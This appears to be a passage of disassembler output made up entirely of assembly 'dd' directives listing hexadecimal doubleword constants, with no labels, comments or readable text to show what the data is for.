dd 18BB0BEEh, 3FF354F4h, 0E2A8F64Fh, 0D640D462h, 0DB001A46h
dd 1228296Eh, 0E497F593h, 40D000A7h, 723FA81Ah, 6500A00Bh
dd 15B5A759h, 48EA95Dh, 0E962259Ah, 0E25DBCAFh, 4DEC4A12h
dd 0BFCEE578h, 721EA330h, 0FB750114h, 7B7E1FEh, 13202B71h
dd 0B334AA7h, 6046A30Bh, 95F3E4DDh, 7697D852h, 0F6046958h
dd 92BE1D14h, 0D53228D9h, 0F52B8B86h, 0D85204h, 0E799FBFh
dd 585A271Bh, 0E9781FFBh, 0CC604EB5h, 0AE902B83h, 0E432EFh
dd 4DBF61DAh, 972212FDh, 7B7F549Ah, 8C737091h, 0BE575503h
dd 0B4CF79CEh, 6983CBE8h, 49D8305Bh, 9D005F25h, 0E568F153h
dd 5ABC7C42h, 2624AF3Eh, 9FFA66B0h, 9FD662D4h, 645436B0h
dd 0D03EC0F8h, 6AFEDE92h, 10604A37h, 6F3041h, 2FD7FE79h
dd 6AB34321h, 0BC5FFF59h, 803266Fh, 0FFE71273h, 1B711602h
dd 0F7535D48h, 7EC0A770h, 5ACB041Dh, 0BD3DACCFh, 0A4668863h
dd 1EE5093Eh, 43B5C4D7h, 5F106929h, 0AE89098h, 6A9A88h
dd 0DC81CBBh
dd 8A7F013Fh, 0D04A1397h, 2AE2CC3h, 497369D3h, 6A5E5FEFh
dd 292F2891h, 5D27A6D6h, 9C89C892h, 335B5358h, 8E9073A9h
dd 5C6CC13h, 0C5ECAC62h, 0B620BE6Bh, 25DFEEDBh, 71E82FBAh
dd 0C9D2899Dh, 0F3B75E1h, 2B454EA7h, 16898C8h, 0DF59512h
dd 0D90B3ECh, 42BA2801h, 33E48ECBh, 86960052h, 199A0A44h
dd 60B22655h, 5A71E767h, 0EAB41286h, 8206E571h, 3955AC8h
dd 0CA2D019Dh, 0BE9DA85Fh, 858BDC80h, 4855EC50h, 0DA057C47h
dd 0EA9D0960h, 5D611192h, 0EA7D8B4Ah, 3E98F545h, 0B217CBF6h
dd 30EF40C6h, 5F88B3E5h, 27A0A497h, 258A975Dh, 962DAC46h
dd 0A8E120A8h, 0D5A74176h, 755F0212h, 0BF0908F9h, 0B33075DFh
dd 44FBD9Dh, 2F894EADh, 55258BC4h, 0BD67E511h, 2B008BC4h
dd 0DFEB86F7h, 0A8C8D1h, 9950369Dh, 4689B17Dh, 948475B8h
dd 5ED8F94Bh, 95727D99h, 0FEB8D6B7h, 74AF2D00h, 0CA4EFE3Eh
dd 0E1D39732h, 2CC60D0h, 4F78755Bh, 0EAA965ACh, 9D7231F5h
dd 0B92BA46Fh, 4914E749h, 27A6BC21h, 0C8488C72h, 4B4FCE1h
dd 0A49200DCh, 0C08B630Dh, 2A755011h, 0C0FCFA25h, 9F97DBA2h
dd 957E287Eh, 4939E7B0h, 0E6A9E500h, 0C968F598h, 8642BD17h
dd 2F5EFA93h, 51BC69B9h, 290DACA0h, 3D08B7B1h, 0F9253E05h
dd 1DF935F3h, 1C005518h, 8A5A4D42h, 581E336Fh, 0D11F670h
dd 0E5B50B03h, 0F4CBDC0Ch, 1C0A9495h, 92FD8A4Eh, 4F63F3DCh
dd 558C3224h, 0E7FB9F2Bh, 5E111CE2h, 28186972h, 207C6D6Ch
dd 0BD89B017h, 5B2885F9h, 2BC927AEh, 9B767ED6h, 0C6055860h
dd 85091109h, 0F9CDA471h, 446EAFh, 9DB51B2h, 2D0CC40Eh
dd 1610818Ah, 93006CEEh, 0B2A13AAFh, 4838AC54h, 0FB25D425h
dd 1F118CE5h, 1B16E05Bh, 9CD45BDh, 6D7B2B21h, 81E1FF80h
dd 250BDFC3h, 49ED253Eh, 7925AD20h, 0C402F111h, 13955414h
dd 38EA1231h, 53B7CBCEh, 5E97D89Bh, 396EAB12h, 235788EAh
dd 8953BD4Ch, 0B4167860h, 5A0BDCDEh, 48D9B3Dh, 9BBCF9FAh
dd 0BF041C20h, 127904E0h, 257340BCh, 18E916F3h, 0E2D71422h
dd 6BEA4165h, 192300h, 9691ECE2h, 82E54957h, 0B3DDDF5Ah
dd 614DDD5Fh, 3EA23869h, 7CB2E0D0h, 9CEA167Dh, 0B48CAA18h
dd 9D2312FAh, 90174B45h, 0BF507CA3h, 1FEEA3C8h, 614B70F5h
dd 0C65692B7h, 0ADCD00AEh, 40E88DB0h, 0D54A57C2h, 4D6EEF2h
dd 0BDAC7A94h, 0F98A1205h, 50A19EBCh, 0F7F8752h, 0F0E06031h
dd 2DE436BFh, 0ABD82001h, 0DE62EE3h, 924C95E1h, 2CB3D95Ch
dd 9A2BFC41h, 0CB18889Ch, 80A4485Dh, 0BF6702DBh, 7B0DF987h
dd 51490F5Eh, 0C4CF0076h, 0DB40177Fh, 15C48E4Bh, 0A0B7B7AAh
dd 25039B8Bh, 4010D694h, 0D4120951h, 61EA300Fh, 19F7DBA6h
dd 8AB8097Dh, 6F7B4200h, 0CBAD4BBBh, 557E953Ah, 3FC1E869h
dd 0DDA600CDh, 0FB34338Dh, 7304BB1Fh, 8920EC03h, 199525C0h
dd 0B8389D0Ah, 0BF137DBBh, 42EA77B5h, 0DC9BD38h, 0BEC6A12Fh
dd 0F93A027Dh, 6C052106h, 0B41295Eh, 3274B7D3h, 9E2DABAh
dd 0FE6050DFh, 0B74438D8h, 8961403Fh, 76BF19BAh, 0DD3D4F13h
dd 4A70FC6Bh, 0D3E68856h, 11904600h, 577A7C80h, 0FA0800BDh
dd 673DCE3Ah, 255C0A71h, 8B234047h, 0DB58FB2Dh, 0F0757207h
dd 0AFFF0BE4h, 237EDA76h, 1D46D6h, 0E91BF726h, 3CE7BF25h
dd 0D45B0890h, 526B41h, 0FAFBB1DFh, 5A9FE42Bh, 0B66AEE3Bh
dd 0BD9B604Bh, 3C0938EDh, 0C251DF6Bh, 0F86AFF07h, 20700E73h
dd 8747011Eh, 0D9C54D0Fh, 0F5307131h, 39F93A0Eh, 9D652FF9h
dd 0B21012BAh, 273A8D2Ah, 5F919DECh, 62D24110h, 0C246E986h
dd 400F4F5Fh, 7796711Bh, 78D93A01h, 0F63EF23h, 25385C6Eh
dd 945C49E7h, 16801E22h, 0B8A7E92Ch, 0E6300542h, 0F2870FE1h
dd 0DF9D00DAh, 0B6DB48D3h, 20C05AE5h, 11DDA20Ah, 64126B00h
dd 44A6E2Ah, 5DCB05C7h, 0B85769CFh, 0EE5683F8h, 753AE2ECh
dd 5B098B4Fh, 0D7E5775Fh, 3CEA8217h, 7C8A7596h, 0D25F0B1Ah
dd 856EB15Dh, 9FA1A27Ah, 401E4381h, 522F2458h, 0A0F3A73Dh
dd 916F486h, 0B607E62Eh, 33395002h, 1ADEEFDh, 1684D381h
dd 89603C6Eh, 0DF07ED26h, 43011BE6h, 60BB5E27h, 0A8D0E64Ah
dd 2DA798F6h, 0B05D7DB5h, 1425F62h, 741473BEh, 6F89E48Dh
dd 57A0D58Ah, 783A152Eh, 5DD00EFh, 0A2BB129Fh, 32A01DA6h
dd 7D958250h, 29C273A9h, 70955B5Dh, 1EE8B599h, 0E56F4C12h
dd 0B6B88EBh, 23919D10h, 206E5027h, 5CF8F85Ah, 0F97BEF5Ah
dd 9249AC01h, 3CE2FB79h, 9E29207Bh, 4BD64091h, 0FB00300Dh
dd 8D25072Bh, 27B7508Bh, 3A5F5B87h, 7235F59Eh, 0EB04742Dh
dd 0FBA58F84h, 162574C1h, 65A3DD2Eh, 7BED3AF5h, 71F05CA9h
dd 0F133A02h, 5EFC5E79h, 0FEB7C282h, 0BF9C4771h, 52A03F4Eh
dd 0E32956F1h, 58BCCB9h, 9C57D02h, 7761AFC0h, 9111AD5Bh
dd 204BBC5Ah, 45089701h, 20500988h, 7ABC7F79h, 1AA9BD16h
dd 5B8D7AEAh, 0F745B461h, 90EFCBF4h, 461962E7h, 0BA57E2B3h
dd 43295765h, 0E035CFF5h, 719531F3h, 5C882341h, 961D276Dh
dd 84FED9D6h, 7D588C77h, 0F4361904h, 23AA22C6h, 0C04527Bh
dd 4A1BFAB8h, 96CDFAA1h, 59F0BC66h, 4A94D758h, 90FA9343h
dd 0D2AE1Dh, 0B5030ABFh, 2DBA95F9h, 0C99D06B7h, 55EEEDB7h
dd 59616E49h, 3573209Ch, 7B255C94h, 181D59D7h, 0BE9C0790h
dd 214330A5h, 2AD92011h, 28CBE4FDh, 0F1C0CF74h, 38FAC99h
dd 0F75BCC9h, 1B480180h, 0EF8A4B28h, 0E0970922h, 0EB50FA5Eh
dd 992E8F21h, 7823B55h, 8316DF0Ch, 4E08CDB7h, 4F33D64h
dd 0A7AE0D99h, 77842544h, 77FAAF38h, 950D6E00h, 8D0816F6h
dd 32D00B0h, 0D7C2C046h, 0A92FCBE3h, 0D6D4D4DCh, 80911B49h
dd 6B9C0B6Eh, 19F4127Fh, 89C1F21Fh, 0C13F7Ah, 88BB55E5h
dd 361E9AF8h, 0CB798D29h, 1CF2F9A6h, 0AD4CD033h, 0E0F00599h
dd 0BC19B938h, 0D3C62769h, 0A00AD0BBh, 5A78EA04h, 7BBA2BD7h
dd 1B23EFh, 0D8D23177h, 2226CED9h, 0EC1C4B63h, 248C749h
dd 223596Eh, 0F075A4E9h, 429D7CC2h, 779C482Eh, 0F9CCA84Bh
dd 0BDB99860h, 5F526AF4h, 1FB27710h, 230EE2EEh, 0E06DC559h
dd 543B39FDh, 1E924F7h, 5B7D32ACh, 910B607Fh, 56508005h
dd 93B552E4h, 7DBBE8B6h, 4E9E0E6Bh, 6581302Ah, 30632BB7h
dd 5A9872E7h, 0D0A7AEB9h, 5749DE8h, 34B6724Bh, 810C776Fh
dd 6049D36h, 9C016DAh, 0D51014Dh, 2F7F590Fh, 34FEE718h
dd 7904F16h, 65CE2EA3h, 0D9F90553h, 0A6DEFB5Bh, 87560682h
dd 296F8FDDh, 54939895h, 30A300DDh, 68AD3531h, 0A057A91h
dd 6AB6D970h, 880C4DEh, 0FDB109B4h, 0B62CEB04h, 39C1CA30h
dd 9D2E07A5h, 0CC176F5Ah, 2F8C0ADCh, 9457EB98h, 8590953Dh
dd 5207F462h, 9D6D63AFh, 7F7D67C0h, 5FCD25D6h, 2EB6A7E6h
dd 0E913347h, 0D3202AD4h, 21125E25h, 9311E12Eh, 46FD19Dh
dd 8A688004h, 0A2B9BCFEh, 8CC92E98h, 4D008596h, 750B8DA5h
dd 31620A8h, 1177682h, 2F88F2E7h, 782C8852h, 0DD1154E8h
dd 80DBFD5Ah, 0E447A33h, 94130199h, 0ED61F6A6h, 37FC7FF4h
dd 3BB9000h, 5048E1ADh, 0D365A4DEh, 0FC3771A2h, 23BB7CF5h
dd 6F191C71h, 2009C8A3h, 78291E6h, 50001B59h, 4EE95BF9h
dd 172CBF24h, 0E6A292CAh, 9D14F28Dh, 86438ECFh, 0EBC9E0DBh
dd 2F9A2538h, 1459FF7Bh, 1F0A2E19h, 502BBDBh, 0F621C72Dh
dd 49A1609Ah, 0AA3D617Dh
dd 901F1848h, 820971FAh, 6A270458h, 0DCAAD443h, 814A1749h
dd 3606B69Ah, 3CF75681h, 0C84FBFEFh, 5BB70830h, 5814715Dh
dd 509AAC9Fh, 5A8D84Bh, 0C0D5DAA4h, 0B80C1223h, 496D17F7h
dd 9259E011h, 0A6AC6A4Ah, 0CE00585Fh, 8E97BEDFh, 57172959h
dd 0B000B53Dh, 0D8F1237Ah, 9BBEC2Eh, 755ADDC5h, 97115C7Bh
dd 0B1BD2B04h, 9BA2513h, 4EF91420h, 72F0D02Dh, 22A42BDh
dd 8D2B5160h, 0BC6754FDh, 692A41CCh, 0EE810197h, 493353F2h
dd 0C9A27E61h, 0B6015C17h, 0A1ED001Eh, 0C2842DE3h, 654E00F3h
dd 14CB4027h, 162A916Ch, 5F48C701h, 0F046C038h, 12E5B5F7h
dd 0F1B31A0Dh, 0FEAD2B7Ah, 0AE0CCD84h, 0B420F7A6h, 0E2873491h
dd 4A803644h, 1DC4A5h, 41683D29h, 7C01EAFBh, 0C1F71B9Dh
dd 0DFC259B5h, 84603D12h, 929713D5h, 0D2718Eh, 2259E618h
dd 77252834h, 2CA5610Ch, 0C82B5F00h, 8D0B6004h, 0B7B512C9h
dd 8B611000h, 0AD70C4D1h, 0E9F80209h, 0E0BCF6BEh, 4C37478Eh
dd 587D5600h, 0FC42653Bh, 132EE6EFh, 0C6952D5Ah, 83BD636Bh
dd 814E496Dh, 0B92E3344h, 87864B1Fh, 10C52882h, 2919C09h
dd 55F1BBC4h, 2F917D5Eh, 0B7126358h, 0E4C303DFh, 61C89C84h
dd 0CE976BE9h, 0C9CC00FBh, 36B25B43h, 440032DFh, 52C62406h
dd 0EF5CF99h, 316B2E95h, 9DA4A98Bh, 0C985BC5Bh, 15490409h
dd 0B13CEC10h, 318BD8CBh, 49ACD58Ah, 304B7526h, 52518FCAh
dd 0B67E0DE1h, 1AED5B7Fh, 944C10D3h, 0BDDCB384h, 8280848Dh
dd 32306F12h, 7F8A3893h, 94E5B78h, 518F4EDEh, 0F856AB86h
dd 5FFE4C03h, 840FA7B9h, 0C16DDBEEh, 0E18D89C0h, 854BDA2Ch
dd 0C21E9B7Fh, 7EFC13BFh, 7C00DCC1h, 205D420Ch, 0AA2EABBh
dd 860F099Dh, 78102D13h, 5E39900Dh, 0B87C002Eh, 37823147h
dd 65C501A1h, 5F57D06Ch, 0AE84F75Bh, 5E29C532h, 8C71CB8Fh
dd 0AB905F27h, 3A09C00Eh, 7944F47Ch, 1DA3EA76h, 5871A521h
dd 0E2E0DE2Dh, 6C7D181Dh, 24606990h, 0D758A4E6h, 3FD10900h
dd 23467D27h, 3B9653B7h, 0E8317D10h, 0B88E4B0Fh, 4DFFC918h
dd 0A3CBC07Eh, 52010F86h, 978CD528h, 282EF514h, 0C2E159EBh
dd 85063777h, 3205EF95h, 0FE5CF8D5h, 2902716Ah, 0DCE1FF9Fh
dd 0BC25DCEDh, 0E1905F4Dh, 0C12D8D01h, 7139D630h, 415FAD21h
dd 382F3042h, 3422925h, 0F126F110h, 7FC202E0h, 64E66CCDh
dd 29612084h, 3A6604Ah, 0BD5F05E0h, 0FA014000h, 62B135BFh
dd 2F667672h, 0D7D41CCEh, 0C57F4BF6h, 2D66AC34h, 9A0AF11Fh
dd 91542BAAh, 0BFDB8061h, 90D312Fh, 0AFD12F95h, 6F2C5090h
dd 0B04BFB80h, 5F7D5D3Bh, 0A497DE90h, 6FBA6A0Ch, 4AFA5F3Ch
dd 8094BDh, 0C4682723h, 5702339Eh, 0CE70F0BBh, 1AE07774h
dd 2C7C9D3Bh, 0D662E2B7h, 35DD2DD5h, 2FB027EBh, 0AD5A28DAh
dd 0DF7760FBh, 1A979C5Eh, 14CE5DEAh, 56E9DE17h, 0BFB3A152h
dd 96C6FC25h, 259D3109h, 0DCCED717h, 2A4201EAh, 0A6EEB92h
dd 0D9C99203h, 4E24892Dh, 59295D8h, 0FC2F89E7h, 88562542h
dd 707DFB27h, 6B00F421h, 0FD8A5696h, 3A52505Fh, 9BFAD98Bh
dd 0BFD77837h, 3EEBB951h, 0C54A1DB8h, 0FCB7AAC0h, 597742A2h
dd 0B0FD2530h, 0BD0411A3h, 0E60EEDCh, 0C3F4D9h, 14C45685h
dd 0A1EF6817h, 766A8B2Fh, 3CBC09ACh, 8FF7442Bh, 61B9921Ch
dd 9925A4B8h, 0F8476159h, 0B3B8312Eh, 525FEE73h, 20505AC3h
dd 26ACBA42h, 0A692800h, 0D04C790Dh, 0B3AD0B0Eh, 86C432AAh
dd 970B9A7Bh, 4A103F16h, 0C2545E1Ch, 485CF561h, 1990615Ah
dd 0B64AA07Ch, 0AC298F83h, 4FE9A155h, 0C199DE54h, 670AEBF3h
dd 10C82F0h, 60746288h, 3161EF8Ah, 17E93FD6h, 5E7C44C0h
dd 47B789E2h, 339B74A7h, 8273E259h, 0AB6B4A79h, 0BF1C56CAh
dd 0E5215FA8h, 0A01A07C5h, 38F3D971h, 9712E400h, 507D6B0Ah
dd 7AF6BF02h, 285B4819h, 437FE6F7h, 8BBA6295h, 104F7DC7h
dd 0CF30D467h, 0B9936B4h, 60E23D2Bh, 2048D40Eh, 715DBF01h
dd 0FC2A0125h, 0F3C4D7A1h, 0C0389EEFh, 56C239B2h, 0A0BB245Bh
dd 8D0E13D7h, 0D68424Eh, 0A6115929h, 0D0EF0202h, 0EA509667h
dd 5FBA8416h, 0C85330EEh, 88004E0Ch, 58072864h, 125BE6C5h
dd 0BADF8B96h, 0C19E1D2Ah, 0E46BD310h, 2976D6DFh, 0CC400311h
dd 8D8B12D8h, 61EC49ADh, 0BEB0BD59h, 0AC15B0F3h, 2D2E90A1h
dd 0FB7B2BB9h, 0A4181579h, 5BB33212h, 600994B3h, 85D49D01h
dd 0C6834CA7h, 0AF28ED7Eh, 6CF63BE3h, 38F2F6B4h, 0D8831C87h
dd 81C9EA1Ch, 5162826Ch, 4C2201Ch, 28E58509h, 66AF4AFBh
dd 2C95E49Ch, 4AB13AA3h, 8560BF19h, 1208DB81h, 0B25551D2h
dd 6FEF4BA7h, 1F6E0EFDh, 648580F4h, 2C57757h, 18DEF781h
dd 0A5EF32E1h, 0DDBDCA60h, 0F80C02D2h, 0D55525BFh, 6ECF9454h
dd 59BDE56Fh, 0B7BAFB3h, 68608864h, 0B2EA0175h, 0A8F50B0h
dd 0AD5740DAh, 0B96FB94Ch, 56E79259h, 30FBFE2Fh, 9656DB94h
dd 0BB01F6A2h, 639E8680h, 94A4D892h, 55C60100h, 74F2A949h
dd 0BDC12513h, 80A03FDFh, 5C8DDC7Ch, 4E1CC062h, 0FC4965BBh
dd 44815941h, 5804561Dh, 50022EE5h, 0FB5EA7B3h, 5B9C5C27h
dd 7B0AEE41h, 50AC89E2h, 2371BE00h, 33B0E36h, 0FA7D4FF4h
dd 56D90C32h, 0E5DBE9BCh, 0A52B50h, 2CD23DDBh, 4A1CDDAFh
dd 0F54A5EA4h, 98609FCCh, 2A55202Ah, 6561F825h, 0AB431285h
dd 0FF31107Bh, 0CAF96510h, 21697E56h, 0C641BDD6h, 164D627Bh
dd 193BC0FDh, 0D27C0118h, 283D6975h, 2B08D1E6h, 172B4E2Ch
dd 4332CD9Dh, 0FFF4EF70h, 627D0B8Ah, 2979F50Ah, 52279916h
dd 571B21E2h, 0ACFC263Bh, 253CB04h, 0E4D71F22h, 425395CBh
dd 0E2EE870h, 0DAAFB380h, 0BB6A1764h, 52C7049Bh, 4600FEF8h
dd 23BA3BF7h, 68AA0E98h, 47676F77h, 756EEE09h, 412D0EC0h
dd 0FA50B70Fh, 172ADC8Ch, 52BF984Dh, 4D0995DEh, 0C0C07A4Dh
dd 0A0D828BFh, 1D230FACh, 274D9589h, 21E95D24h, 6A2155F7h
dd 0FAADE5FBh, 0B301A2B8h, 61605357h, 81D85B5Fh, 0C23E13DFh
dd 713AE34h, 1D70097Ah, 45B78D99h, 80850DDEh, 0ADD381DAh
dd 67FC7B19h, 91F10156h, 0B63BB325h, 6631B45Bh, 9D6B950Bh
dd 0DE6A6ABDh, 0EB1DFE00h, 49B5890Ch, 0D9071BDh, 0F20D1831h
dd 0FF2F52FAh, 489977D1h, 2B43E9BBh, 8A4F6528h, 997B907Dh
dd 45900B0h, 277F148Ch, 0EF09949Ah, 0D596CB4Ah, 6CB3C160h
dd 26A5B12h, 0A495F4D8h, 0BB50029Bh, 2C686ADEh, 2E6BF4Ah
dd 15E17DA0h, 258A539Fh, 0CE3FA2F5h, 259ACC18h, 0D45968E9h
dd 7288E6C4h, 33712D9Dh, 2D0064CEh, 7580E0E8h, 465829Fh
dd 0F69EA363h, 0D10CAD09h, 175AACC9h, 0EC1A5F6Ch, 0A2E1242h
dd 41018BAh, 0C8BF5B53h, 834B6D13h, 8766105Ch, 0F2B02502h
dd 13F819C7h, 0BFEA5CD5h, 0A2FBB064h, 0C86A9742h, 3B765E01h
dd 0CC8132EBh, 18095369h, 5BDA8B01h, 48511718h, 5F0B29C9h
dd 0D6F556F9h, 4A341446h, 9EF0FE54h, 0A6FF4F6Ah, 0C8E2E09Ah
dd 0B5A05083h, 0D45F2CCBh, 272C268Bh, 29ED5968h, 4452F9BDh
dd 0D6BB4005h, 4E2ECF90h, 9DF8F0B0h, 4802B40h, 70E62CC3h
dd 0A1E2EE52h, 71E45B0Ch, 1B4AB912h, 0DBC8E4BCh, 3042BF83h
dd 0C0A8F48Fh, 4355BB06h, 0C72554D2h, 58BC4432h, 758461F9h
dd 0D31210Fh, 85A6302Ah, 458C0869h, 55FD6A0Ch, 3B9A5C00h
dd 7C60BDBFh, 305946C6h, 0C148B5B1h, 7F40FFDFh, 0F0799731h
dd 0FEAEE91Eh, 71DEF069h
dd 53C9B74Ch, 83012AFBh, 9ADBD01h, 2495F90Ch, 8947147Eh
dd 818B1A9Dh, 0E9BAEB80h, 12D27350h, 74AF05F1h, 7AFCE2F3h
dd 0CE915401h, 8ED2976Ah, 2DB353E0h, 3ADF5FA5h, 1C29497Ah
dd 8665292Ah, 7763DBEAh, 0D5658224h, 8500FB9Ah, 68A30D99h
dd 27613095h, 95098092h, 26BF5EBDh, 0D538F628h, 30FADFCBh
dd 4D8D0165h, 0DE44315Eh, 0F9AA7D05h, 16BFCA8h, 0AAE19B91h
dd 2D0F7FB9h, 0CCF95AF2h, 0DB58125Fh, 0A6B4967Eh, 3373276Bh
dd 23C5671h, 0E1EE0562h, 0E1027787h, 37D5FC5Bh, 0A9752F1Bh
dd 40B4F8CDh, 0CF0B8013h, 0CDC02BF9h, 0DE45C127h, 80C8681Fh
dd 51ECA2B8h, 0BA7F258Dh, 30F0F67Bh, 7F1204BCh, 0ECAF7855h
dd 60AB9367h, 6730C9A4h, 0C8DB0A07h, 5699D7B3h, 405EDA0Eh
dd 0F94627D4h, 2702653h, 455E24E9h, 6A90975h, 6909CDF7h
dd 0F2026D53h, 75FE8AB4h, 1A51F7DBh, 23BDD58h, 31958699h
dd 6FD4A060h, 0DD852902h, 0EAFF542Bh, 6A04DE99h, 5C0F3021h
dd 5B312FABh, 0BB96B79Ah, 94DC5E91h, 5FE1B83Bh, 0CC809EDEh
dd 0FCB21931h, 4A329495h, 0EC49E972h, 0F4CD12F5h, 7CB6F157h
dd 0E5B82756h, 59DD00BFh, 0EF5E332Fh, 0F109F400h, 84D245C6h
dd 0BDDC4C39h, 0A0E5C704h, 0D652AC5Fh, 0E1FF7904h, 0EDC1559Bh
dd 74745EF6h, 964A4FA6h, 29104BCAh, 4645804h, 5836CF8Eh
dd 31A34BACh, 6EAA264Bh, 1D030014h, 0A48F515Eh, 0A1473B28h
dd 45EB205Bh, 0FE0B9726h, 3DCD765h, 8C5F787Eh, 0B8A37BACh
dd 22AA795Fh, 85E6093h, 3B6A06DCh, 4EF44BEFh, 741AA925h
dd 0CBBF614Dh, 0AC8214BDh, 54ECD701h, 4A82145Dh, 288C709Bh
dd 15C901CEh, 1C6F7FCh, 65CDFA4Ah, 0ED3BC86Fh, 28BEA900h
dd 216343D1h, 0D38101AFh, 60E69B74h, 92F92B5Bh, 4EC69F71h
dd 0CF460800h, 0CEBCACD8h, 141E132Fh, 506344B1h, 2AAAA15Fh
dd 0BA4FC3E3h, 9004F719h, 29B3827Fh, 0C2ABD22Eh, 37776A7Fh
dd 0E10780C7h, 0BD0B83DEh, 528C920h, 85CF1B68h, 8095EC36h
dd 0F7C98899h, 0C2350444h, 0A8600CFAh, 0CCE4045Eh, 0D8AA369Ah
dd 76BD83AEh, 0C052E545h, 0E25BE76h, 7CCBE800h, 0F407C497h
dd 4B830461h, 0AB9CACB8h, 17237B6Bh, 0F431C100h, 0B5FAE9FBh
dd 0D92DA0C4h, 0A7815B0Eh, 2D0862D4h, 61F90B10h, 40F515DFh
dd 3AD8ED5Dh, 0DE35A42Eh, 0DD326909h, 32AFD0B7h, 15E57F7Ah
dd 0AB1CBE2Ch, 0DFF86265h, 5805ABDh, 0A39C0363h, 173909A1h
dd 0CDF0834Ah, 0BF27695h, 405E2AC1h, 5F1746DEh, 56625AA9h
dd 600506F9h, 5BB71CCh, 22A4B94Dh, 85D10491h, 933DB8C5h
dd 612DEEEDh, 3B93BF5Ah, 180F378h, 9649D38Eh, 6F890F60h
dd 61A34AF8h, 47596BAh, 25B804B6h, 0C4319AB5h, 0E5817353h
dd 0CE2A2F71h, 38205AFCh, 1BA175h, 4AA3EFE3h, 0CC9BF27h
dd 58471907h, 20835005h, 8B7BD97Ah, 11F16DA5h, 7D8DAF00h
dd 0F0E81Dh, 0BA65E319h, 0C4F3C09Dh, 9C8E530Bh, 948C308Bh
dd 2321008Fh, 121AA2E6h, 4F01D5BDh, 719B0143h, 982BFE8Bh
dd 8690FA12h, 1DBE8D4Ah, 55DD64D3h, 0FFB7E904h, 0EB9402FEh
dd 57FE4509h, 32E3406Fh, 0B8044D7Ah, 8AF84B78h, 0F98A1847h
dd 9661DF9Ch, 775ADC15h, 0AC5F24EEh, 0F6AAB56Ch, 0ADBED5C7h
dd 3F3D48C8h, 20041831h, 81AEB672h, 2158D8Eh, 0B50464E9h
dd 4A77C75Eh, 0E7EED68Ch, 6C4020B4h, 204D410h, 0B7A1F999h
dd 0ED82D647h, 0B745BD9h, 345416DCh, 604830AAh, 580017C7h
dd 5EB96775h, 0E2815h, 666E8EF5h, 0DED94891h, 25871497h
dd 23EC042Fh, 0D227C704h, 0F3AB83BEh, 0A1E9D357h, 0E017D3B8h
dd 0B80984BFh, 40E95E66h, 214DB3FEh, 676EF100h, 92E39028h
dd 0C977023Bh, 5E9BD8B4h, 0CB4081D4h, 7B23A279h, 98F57D99h
dd 0AFD69762h, 0FFE34BF6h, 0B1ACC224h, 487AFA4Fh, 0E45DDE00h
dd 83CA1999h, 1DE2AA02h, 684D9529h, 97DA8AF7h, 3DF53D0Bh
dd 648F8BD3h, 7700B059h, 84F78910h, 6D704Ch, 36599269h
dd 0E0F31C34h, 798B255Ch, 955F3140h, 195952D3h, 0BA096A18h
dd 0F50A728Ch, 0BF105405h, 1233E808h, 83B9FC96h, 0F0C32CC6h
dd 7C93325Ch, 0C0DD2515h, 203EA460h, 0EFE9658h, 4A80C381h
dd 0DB25E998h, 0C8D4F016h, 782CD517h, 0A9B571BFh, 0F85B0A05h
dd 1BE1351Ch, 0B94B52ECh, 6FE94EF1h, 80FA79ADh, 0E6733075h
dd 0FCA51232h, 7E09F118h, 0F9D3A6DEh, 0EB304BB4h, 4B65BD01h
dd 81EE8828h, 9271CB38h, 0E3E17E5Ch, 0ED26E6Fh, 2112A11Ah
dd 0B3DBF365h, 235CB63Bh, 0DEA22CF9h, 4ABDF909h, 67EDDF31h
dd 0FA2CAFE0h, 0D6830156h, 8E100EBFh, 0B2F83A7Bh, 16FB4FAAh
dd 0D572040Eh, 0D7171304h, 0EC09798Ch, 0C0B62FDh, 0D2D86050h
dd 56EA534Eh, 7EDBFA4Ah, 7758F980h, 6D2FEBBCh, 4D261F5h
dd 0AB00AC3Fh, 85BBC73Dh, 0F8F76E02h, 145EA4B7h, 40B7746Bh
dd 67A18952h, 58AD2501h, 0AEE30CCBh, 8AA8312Eh, 87CB2AFEh
dd 894A3222h, 9622D1FBh, 6C5DD6B7h, 0FC8A3E94h, 6B50A14Fh
dd 0A5079B70h, 636704BFh, 0E10D9125h, 3DBC2F3Fh, 0C261F427h
dd 0E203665Bh, 0F0E63015h, 9798589Dh, 4D400E1Ah, 30A46460h
dd 0E009ADA0h, 0C63A5425h, 0A8948F2h, 1B7E1B2Fh, 7DDFFA72h
dd 122D4B03h, 0F171BBA4h, 352E5F07h, 0D7D1ADDEh, 9DC6E3F4h
dd 0E200B33Dh, 0EEE5FC40h, 68AA0B81h, 297DC0F4h, 6A65F7B0h
dd 43FDBAFh, 4014E9F8h, 0FF9FC8CEh, 5E9800A9h, 7E623A26h
dd 5F7C17B4h, 5D04CC7Fh, 0D4E9F4BEh, 0F63B17ABh, 1309E1A2h
dd 0B97A7FFAh, 0DF1C652Dh, 8D2E441Fh, 0FC20DDC7h, 5CD54B1Eh
dd 4EC02F4Dh, 0EAF50205h, 89777B00h, 8AE2EB81h, 0FD155E5Fh
dd 593DAD4Bh, 9A08DDC1h, 8A2BC01Fh, 108EF648h, 124E17F5h
dd 0FA34BAB1h, 0B22ADDA5h, 58345A6Bh, 8B3DFA82h, 9CB3D48h
dd 3431B676h, 18FB7009h, 6F858396h, 37EB4D28h, 53ABF0DEh
dd 0B101A247h, 1D20F540h, 0ACF0A76Dh, 97627B1Fh, 356D5D8Bh
dd 848D94C0h, 8EC012A2h, 0AF4C8813h, 7B4E5109h, 0D7E6C2EBh
dd 97006479h, 68D494C9h, 516B028Eh, 0E5CDCCF2h, 8DBF9CA0h
dd 4E698B2Dh, 2BE50E92h, 0B5EF7F1Bh, 0A8453663h, 0DF09Ch
dd 81C028F7h, 0C8F30AE7h, 8D316E0Eh, 4AF7F2B9h, 4C90562Fh
dd 65077C81h, 0A8689EBDh, 0F7BB6340h, 0B8AD4A96h, 395FCED2h
dd 0FC7ADAF0h, 7E83CA4Dh, 332B9825h, 22B5279Dh, 3125C75Ah
dd 0AEAC5912h, 954BD48Eh, 9E3444CAh, 3F9BFF20h, 8485D9C0h
dd 4A00EADAh, 6D70B8BFh, 9D026A63h, 541DC4B7h, 606B2F00h
dd 1218481Ah, 0EFFCDD85h, 0DEEEA013h, 0BE1080CAh, 25785B31h
dd 0BA5B9445h, 1A9B5AFh, 0ED6094E5h, 55F02BBDh, 607E97A9h
dd 0B8217959h, 0F0A6B67Bh, 43B0711h, 0CBAEAAAh, 1E11E2A0h
dd 898169B8h, 29C03359h, 3D6049D8h, 2782A708h, 0D87DD66Fh
dd 25CDF9D5h, 3F709B7Bh, 0D9AA0EA8h, 7CA41148h, 0D7DFBDC2h
